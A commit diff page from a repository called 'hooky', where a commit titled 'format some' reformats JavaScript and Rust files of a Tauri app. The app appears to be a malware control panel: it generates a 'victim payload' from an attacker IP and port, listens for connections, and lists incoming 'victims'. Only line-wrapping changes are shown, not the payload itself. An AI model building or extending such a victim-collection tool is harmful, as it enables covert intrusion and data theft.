~/hooky

406fafb5bd46364d1810921b7a0099c9c338357b — Arthur Melton 8b2d0277 2 years ago
format some
3 files changed, 15 insertions(+), 16 deletions(-)

M command/public/glue.js
M command/public/main.js
M command/src-tauri/src/main.rs
M command/public/glue.js => command/public/glue.js +5 -9
@@ 19,22 19,18 @@ async function is_done() {

    return await invoke("is_done", {});
}

export async function isOn(
    id) {
export async function isOn(id) {
    return await document.getElementById(id).checked;
}

export async function setPayload() {
    document.getElementById("payload").value =
        await window.__TAURI__.dialog.open();
    document.getElementById("payload").value = await window.__TAURI__.dialog.open();
}

export async function
getPayload() {
export async function getPayload() {
    return document.getElementById("payload").value;
}

export async function getIp() {
    return document.getElementById("ip").value + ":" +
        document.getElementById("port").value;
}
    return document.getElementById("ip").value + ":" + document.getElementById("port").value;
}
\ No newline at end of file

M command/public/main.js => command/public/main.js +2 -5
@@ 1,14 1,11 @@

const invoke = window.__TAURI__.invoke

async function code() {
    document.getElementById("victim_exe").innerHTML =
        await invoke("victim_payload", {});
    document.getElementById("victim_exe").innerHTML = await invoke("victim_payload", {});
    while (true) {
        var get_new = await invoke("get_new", {});
        for (let i in get_new) {
            document.getElementById("victims").innerHTML =
                `<pre>${JSON.stringify(get_new[i], null, "\t")}</pre>` +
                document.getElementById("victims").innerHTML;
            document.getElementById("victims").innerHTML = `<pre>${JSON.stringify(get_new[i], null, "\t")}</pre>` + document.getElementById("victims").innerHTML;
        }
        await sleep(5000);
    }

M command/src-tauri/src/main.rs => command/src-tauri/src/main.rs +8 -2
@@ 59,7 59,8 @@ fn gen(features: Vec<String>, mut payload: Option<String>, send_to: String) {


        thread::spawn(move || {
            let listener =
                TcpListener::bind(format!("0.0.0.0:{}", send_to.split(':').nth(1).unwrap())).unwrap();
                TcpListener::bind(format!("0.0.0.0:{}", send_to.split(':').nth(1).unwrap()))
                    .unwrap();
            for stream in listener.incoming() {
                thread::spawn(move || {
                    let mut stream = stream.unwrap();

@@ 115,7 116,12 @@ fn is_done() -> bool {


fn main() {
    tauri::Builder::default()
        .invoke_handler(tauri::generate_handler![gen, victim_payload, get_new, is_done])
        .invoke_handler(tauri::generate_handler![
            gen,
            victim_payload,
            get_new,
            is_done
        ])
        .run(tauri::generate_context!())
        .expect("error while running tauri application");
}